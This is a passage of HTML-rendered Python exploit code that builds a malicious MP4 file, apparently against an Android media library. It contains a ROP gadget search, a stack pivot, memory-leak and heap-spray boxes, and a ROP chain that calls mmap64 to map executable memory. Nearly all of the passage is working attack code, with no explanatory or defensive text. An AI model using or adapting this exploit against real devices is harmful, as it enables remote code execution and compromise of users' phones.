<\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'add\u00a0\u00a0 r2, r0, #0x4c\\n'<\/code><\/div>\n<div class=\"line number148 index147 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pivot_asm <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'ldmia r2, {r4 - lr}\\n'<\/code><\/div>\n<div class=\"line number149 index148 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pivot_asm <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'teq\u00a0\u00a0 sp, #0\\n'<\/code><\/div>\n<div class=\"line number150 index149 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pivot_asm <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'teqne lr, #0'<\/code><\/div>\n<div class=\"line number151 index150 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stack_pivot <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">find_arm_gadget(e, pivot_asm)<\/code><\/div>\n<div class=\"line number152 index151 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python string\">'[*] stack_pivot : 0x{:08x}'<\/code><code class=\"python plain\">.<\/code><code class=\"python functions\">format<\/code><code class=\"python plain\">(stack_pivot)<\/code><\/div>\n<div class=\"line number153 index152 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number154 index153 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pop_pc_asm <\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'pop {pc}'<\/code><\/div>\n<div class=\"line number155 index154 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pop_pc <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">find_gadget(e, pop_pc_asm)<\/code><\/div>\n<div class=\"line number156 index155 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python string\">'[*] pop_pc : 0x{:08x}'<\/code><code class=\"python plain\">.<\/code><code class=\"python functions\">format<\/code><code class=\"python plain\">(pop_pc)<\/code><\/div>\n<div class=\"line number157 index156 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number158 index157 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pop_r0_r1_r2_r3_pc <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">find_gadget(e, <\/code><code class=\"python string\">'pop {r0, r1, r2, r3, pc}'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number159 index158 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python string\">'[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'<\/code><code class=\"python plain\">.<\/code><code class=\"python functions\">format<\/code><code class=\"python plain\">(pop_r0_r1_r2_r3_pc)<\/code><\/div>\n<div class=\"line number160 index159 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number161 index160 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pop_r4_r5_r6_r7_pc <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">find_gadget(e, <\/code><code class=\"python string\">'pop {r4, r5, r6, r7, pc}'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number162 index161 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python functions\">print<\/code> <code class=\"python string\">'[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'<\/code><code class=\"python plain\">.<\/code><code class=\"python functions\">format<\/code><code class=\"python plain\">(pop_r4_r5_r6_r7_pc)<\/code><\/div>\n<div class=\"line number163 index162 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number164 index163 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">ldr_lr_bx_lr_stack_pad <\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0<\/code><\/div>\n<div class=\"line number165 index164 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">for<\/code> <code class=\"python plain\">i <\/code><code class=\"python keyword\">in<\/code> <code class=\"python functions\">range<\/code><code class=\"python plain\">(<\/code><code class=\"python value\">0<\/code><code class=\"python plain\">, <\/code><code class=\"python value\">0x100<\/code><code class=\"python plain\">, <\/code><code class=\"python value\">4<\/code><code class=\"python plain\">):<\/code><\/div>\n<div class=\"line number166 index165 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">ldr_lr_bx_lr_asm <\/code><code class=\"python keyword\">=<\/code>\u00a0 <code class=\"python string\">'ldr lr, [sp, #0x{:08x}]\\n'<\/code><code class=\"python plain\">.<\/code><code class=\"python functions\">format<\/code><code class=\"python plain\">(i)<\/code><\/div>\n<div class=\"line number167 index166 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">ldr_lr_bx_lr_asm <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'add sp, sp, #0x{:08x}\\n'<\/code><code class=\"python plain\">.<\/code><code class=\"python functions\">format<\/code><code class=\"python plain\">(i <\/code><code class=\"python keyword\">+<\/code> <code class=\"python value\">8<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number168 index167 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">ldr_lr_bx_lr_asm <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'bx\u00a0 lr'<\/code><\/div>\n<div class=\"line number169 index168 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">ldr_lr_bx_lr <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">find_gadget(e, ldr_lr_bx_lr_asm)<\/code><\/div>\n<div class=\"line number170 index169 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">if<\/code> <code class=\"python plain\">ldr_lr_bx_lr <\/code><code class=\"python keyword\">is<\/code> <code class=\"python keyword\">not<\/code> <code class=\"python color1\">None<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number171 index170 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">ldr_lr_bx_lr_stack_pad <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">i<\/code><\/div>\n<div class=\"line number172 index171 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">break<\/code><\/div>\n<div class=\"line number173 index172 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0<\/code><\/div>\n<div class=\"line number174 index173 alt1\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">pad(size):<\/code><\/div>\n<div class=\"line number175 index174 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python string\">'#'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python plain\">size<\/code><\/div>\n<div class=\"line number176 index175 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number177 index176 alt2\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">pb32(val):<\/code><\/div>\n<div class=\"line number178 index177 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">struct.pack(<\/code><code class=\"python string\">\"&gt;I\"<\/code><code class=\"python plain\">, val)<\/code><\/div>\n<div class=\"line number179 index178 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number180 index179 alt1\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">pb64(val):<\/code><\/div>\n<div class=\"line number181 index180 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">struct.pack(<\/code><code class=\"python string\">\"&gt;Q\"<\/code><code class=\"python plain\">, val)<\/code><\/div>\n<div class=\"line number182 index181 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number183 index182 alt2\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">p32(val):<\/code><\/div>\n<div class=\"line number184 index183 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">struct.pack(<\/code><code class=\"python string\">\"&lt;I\"<\/code><code class=\"python plain\">, val)<\/code><\/div>\n<div class=\"line number185 index184 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number186 index185 alt1\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">p64(val):<\/code><\/div>\n<div class=\"line number187 index186 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">struct.pack(<\/code><code class=\"python string\">\"&lt;Q\"<\/code><code class=\"python plain\">, val)<\/code><\/div>\n<div class=\"line number188 index187 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number189 index188 alt2\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">chunk(tag, data, length<\/code><code class=\"python keyword\">=<\/code><code class=\"python value\">0<\/code><code class=\"python plain\">):<\/code><\/div>\n<div class=\"line number190 index189 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">if<\/code> <code class=\"python plain\">length <\/code><code class=\"python keyword\">=<\/code><code class=\"python keyword\">=<\/code> <code class=\"python value\">0<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number191 index190 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">length <\/code><code class=\"python keyword\">=<\/code> <code class=\"python functions\">len<\/code><code class=\"python plain\">(data) <\/code><code class=\"python keyword\">+<\/code> <code class=\"python value\">8<\/code><\/div>\n<div class=\"line number192 index191 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">if<\/code> <code class=\"python plain\">length &gt; <\/code><code class=\"python value\">0xffffffff<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number193 index192 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">pb32(<\/code><code class=\"python value\">1<\/code><code class=\"python plain\">) <\/code><code class=\"python keyword\">+<\/code> <code class=\"python plain\">tag <\/code><code class=\"python keyword\">+<\/code> <code class=\"python plain\">pb64(length)<\/code><code class=\"python keyword\">+<\/code> <code class=\"python plain\">data<\/code><\/div>\n<div class=\"line number194 index193 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">pb32(length) <\/code><code class=\"python keyword\">+<\/code> <code class=\"python plain\">tag <\/code><code class=\"python keyword\">+<\/code> <code class=\"python plain\">data<\/code><\/div>\n<div class=\"line number195 index194 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number196 index195 alt1\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">alloc_avcc(size):<\/code><\/div>\n<div class=\"line number197 index196 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">avcc <\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'A'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python plain\">size<\/code><\/div>\n<div class=\"line number198 index197 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'avcC'<\/code><code class=\"python plain\">, avcc)<\/code><\/div>\n<div class=\"line number199 index198 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number200 index199 alt1\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">alloc_hvcc(size):<\/code><\/div>\n<div class=\"line number201 index200 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">hvcc <\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'H'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python plain\">size<\/code><\/div>\n<div class=\"line number202 index201 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'hvcC'<\/code><code class=\"python plain\">, hvcc)<\/code><\/div>\n<div class=\"line number203 index202 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number204 index203 alt1\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">sample_table(data):<\/code><\/div>\n<div class=\"line number205 index204 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stbl <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">''<\/code><\/div>\n<div class=\"line number206 index205 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stbl <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'stco'<\/code><code class=\"python plain\">, <\/code><code class=\"python string\">'\\x00'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">8<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number207 index206 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stbl <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'stsc'<\/code><code class=\"python plain\">, <\/code><code class=\"python string\">'\\x00'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">8<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number208 index207 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stbl <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'stsz'<\/code><code class=\"python plain\">, <\/code><code class=\"python string\">'\\x00'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">12<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number209 index208 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stbl <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'stts'<\/code><code class=\"python plain\">, <\/code><code class=\"python string\">'\\x00'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">8<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number210 index209 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stbl <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">data<\/code><\/div>\n<div class=\"line number211 index210 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'stbl'<\/code><code class=\"python plain\">, stbl)<\/code><\/div>\n<div class=\"line number212 index211 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number213 index212 alt2\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">memory_leak(size):<\/code><\/div>\n<div class=\"line number214 index213 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pssh <\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'leak'<\/code><\/div>\n<div class=\"line number215 index214 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pssh <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'L'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">16<\/code><\/div>\n<div class=\"line number216 index215 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pssh <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">pb32(size)<\/code><\/div>\n<div class=\"line number217 index216 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pssh <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'L'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python plain\">size<\/code><\/div>\n<div class=\"line number218 index217 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'pssh'<\/code><code class=\"python plain\">, pssh)<\/code><\/div>\n<div class=\"line number219 index218 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number220 index219 alt1\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">heap_spray(size):<\/code><\/div>\n<div class=\"line number221 index220 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pssh <\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'spry'<\/code><\/div>\n<div class=\"line number222 index221 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pssh <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'S'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">16<\/code><\/div>\n<div class=\"line number223 index222 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pssh <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">pb32(size)<\/code><\/div>\n<div class=\"line number224 index223 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number225 index224 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">''<\/code><\/div>\n<div class=\"line number226 index225 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0<\/code><\/div>\n<div class=\"line number227 index226 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">nop <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">asm.asm(<\/code><code class=\"python string\">'nop'<\/code><code class=\"python plain\">, arch<\/code><code class=\"python keyword\">=<\/code><code class=\"python string\">'thumb'<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number228 index227 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">while<\/code> <code class=\"python functions\">len<\/code><code class=\"python plain\">(page) &lt; <\/code><code class=\"python value\">28<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number229 index228 alt2\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">nop<\/code><\/div>\n<div class=\"line number230 index229 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><\/div>\n<div class=\"line number231 index230 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(stack_pivot) <\/code><\/div>\n<div class=\"line number232 index231 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(pop_r0_r1_r2_r3_pc)<\/code><\/div>\n<div class=\"line number233 index232 alt2\"><\/div>\n<div class=\"line number234 index233 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number235 index234 alt2\"><\/div>\n<div class=\"line number236 index235 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number237 index236 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># mmap64(mmap_address, <\/code><\/div>\n<div class=\"line number238 index237 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 0x1000,<\/code><\/div>\n<div class=\"line number239 index238 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 PROT_READ | PROT_WRITE | PROT_EXECUTE,<\/code><\/div>\n<div class=\"line number240 index239 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,<\/code><\/div>\n<div class=\"line number241 index240 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 -1,<\/code><\/div>\n<div class=\"line number242 index241 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 0);<\/code><\/div>\n<div class=\"line number243 index242 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number244 index243 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(mmap_address)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r0 = address<\/code><\/div>\n<div class=\"line number245 index244 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x1000<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r1 = size<\/code><\/div>\n<div class=\"line number246 index245 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">7<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r2 = protection<\/code><\/div>\n<div class=\"line number247 index246 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x32<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r3 = flags<\/code><\/div>\n<div class=\"line number248 index247 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(ldr_lr_bx_lr)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># pc<\/code><\/div>\n<div class=\"line number249 index248 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number250 index249 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">pad(ldr_lr_bx_lr_stack_pad)<\/code><\/div>\n<div class=\"line number251 index250 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(pop_r4_r5_r6_r7_pc)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># lr<\/code><\/div>\n<div class=\"line number252 index251 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">pad(<\/code><code class=\"python value\">4<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number253 index252 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number254 index253 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x44444444<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r4<\/code><\/div>\n<div class=\"line number255 index254 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x55555555<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r5<\/code><\/div>\n<div class=\"line number256 index255 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x66666666<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r6<\/code><\/div>\n<div class=\"line number257 index256 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x77777777<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r7<\/code><\/div>\n<div class=\"line number258 index257 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(mmap64)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># pc<\/code><\/div>\n<div class=\"line number259 index258 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number260 index259 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0xffffffff<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># fd\u00a0\u00a0\u00a0\u00a0\u00a0 (and then r4)<\/code><\/div>\n<div class=\"line number261 index260 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">pad(<\/code><code class=\"python value\">4<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># padding (and then r5)<\/code><\/div>\n<div class=\"line number262 index261 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p64(<\/code><code class=\"python value\">0<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># offset\u00a0 (and then r6, r7)<\/code><\/div>\n<div class=\"line number263 index262 alt2\"><code class=\"python 